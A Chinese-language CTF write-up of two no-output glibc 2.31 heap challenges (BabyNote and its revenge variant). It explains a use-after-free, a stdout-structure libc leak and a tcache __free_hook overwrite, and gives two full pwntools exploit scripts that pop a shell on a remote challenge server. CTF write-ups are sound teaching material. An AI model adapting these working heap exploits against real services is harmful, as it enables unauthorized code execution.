两个题目都是无输出堆题,最近一次比赛在 nepctf 遇到:https://www.mrskye.cn/archives/bdb75c49/#sooooeasy
思路方法概述:https://www.jianshu.com/p/fe28639e406e
BabyNote
题目是基于 glibc 2.31 的菜单堆题。
漏洞出现在 free 之后没有置零指针导致的 UAF :
程序没有输出函数,倒是有一个提示的函数 gift 函数,输出堆地址最低两个字节,没用明白,到最后也不关他的事情。
思路:
利用 tcache double 和 scanf 输出长字符串触发 malloc_consolidate 获取 main_arena 地址
爆破倒数第四个数字,将堆分配到 stdout 结构体上,修改 flag 和 write_base 地址泄露出 libc 地址
利用 tcache dup get shell
遇到的问题就是直接之前 libc 2.23 的 payload 去打的话没有回显出 libc 地址,原来的 payload :
1
| p64(0x0FBAD1887) +p64(0)*3 + p8(0x88)
|
flag 这么设置绕过检查没有问题,问题是将 write_base 最低值字节修改为 0x88 了,而 libc 2.31 中 write_ptr 最低位是 0x23
导致起始地址比结束地址大,而没有东西输出。还有就是调试断点位置设置问题 ,导致一直以为是修改不成功的原因。断点一开始是打在修改后下一次进入主菜单的时候,由于每次输出都会刷新 stdout 结构体部分指针,导致一直以为没修改成功。正确应该在 read 打断点,然后 n 跳一步查看是否成功修改结构体。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72
| from pwn import *
context.terminal = ['tmux','sp','-h']
def add(content): p.sendlineafter(">>> ",str(1)) p.sendafter("Input Content:\n",content) def gift(): p.sendlineafter(">>> ",str(666)) def delete(id): p.sendlineafter(">>> ",str(3)) p.sendlineafter("Input ID:\n",str(id)) def edit(id,content): p.sendlineafter(">>> ",str(2)) p.sendlineafter("Input ID:\n",str(id)) p.sendafter("Input Content:\n",content)
def exp(): add('a'*58) add('a'*58) add('a'*58) for _ in range(8): delete(0) edit(0,'b'*0x58) edit(0,'\x00'*0x10) p.sendlineafter(">>> ",'1'*0x450) edit(0,'\xa0\x66')
stdout_offset = libc.symbols['_IO_2_1_stdout_'] log.info("stdout_offset:"+hex(stdout_offset))
add('c'*0x8) add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00)) libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7fbe678e5980-0x7fbe676fa000) log.info("libc_addr:"+hex(libc_addr))
free_hook = libc_addr+libc.sym['__free_hook'] system_addr = libc_addr+libc.sym['system'] binsh_str = libc_addr+libc.search('/bin/sh').next()
delete(1) edit(1,p64(free_hook)*2) add('/bin/sh\x00') add(p64(system_addr)) delete(1)
p.interactive()
if __name__ == '__main__': p = remote("8.134.14.168", 10000) libc = ELF("./libc-2.31.so") while True: try: exp() exit(0) except: p.close() p = remote("8.134.14.168", 10000)
|
BabyNote_revenge
程序啥的都和上一题一样,就是 gift 函数变了,里面换成个沙箱的指令,没仔细看。因为漏洞和上一题一样,用上一题的脚本改下偏移就直接跑出来了。
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80
| from pwn import *
context.terminal = ['tmux','sp','-h']
def add(content): p.sendlineafter(">>> ",str(1)) p.sendafter("Input Content:\n",content) def gift(): p.sendlineafter(">>> ",str(666)) def delete(id): p.sendlineafter(">>> ",str(3)) p.sendlineafter("Input ID:\n",str(id)) def edit(id,content): p.sendlineafter(">>> ",str(2)) p.sendlineafter("Input ID:\n",str(id)) p.sendafter("Input Content:\n",content)
def exp(): add('a'*58) add('a'*58) add('a'*58) for _ in range(8): delete(0) edit(0,'b'*0x58) edit(0,'\x00'*0x10) p.sendlineafter(">>> ",'1'*0x450) edit(0,'\xa0\x66')
add('c'*0x8) add(p64(0x0FBAD1887) +p64(0)*3 + p8(0x00)) libc_addr = u64(p.recvuntil('\x7f',timeout=1)[-6:].ljust(8,'\x00'))-(0x7f61c5525980-0x7f61c533a000) log.info("libc_addr:"+hex(libc_addr)) free_hook = libc_addr+libc.sym['__free_hook'] log.info("free_hook:"+hex(free_hook)) system_addr = libc_addr+libc.sym['system'] binsh_str = libc_addr+libc.search('/bin/sh').next()
delete(1) edit(1,p64(free_hook)*2) add('/bin/sh\x00') add(p64(system_addr))
delete(1)
p.interactive()
if __name__ == '__main__': p = remote("8.134.14.168", 10001) libc = ELF("./libc-2.31.so") while True: try: exp() exit(0) except: p.close() p = remote("8.134.14.168", 10001)
|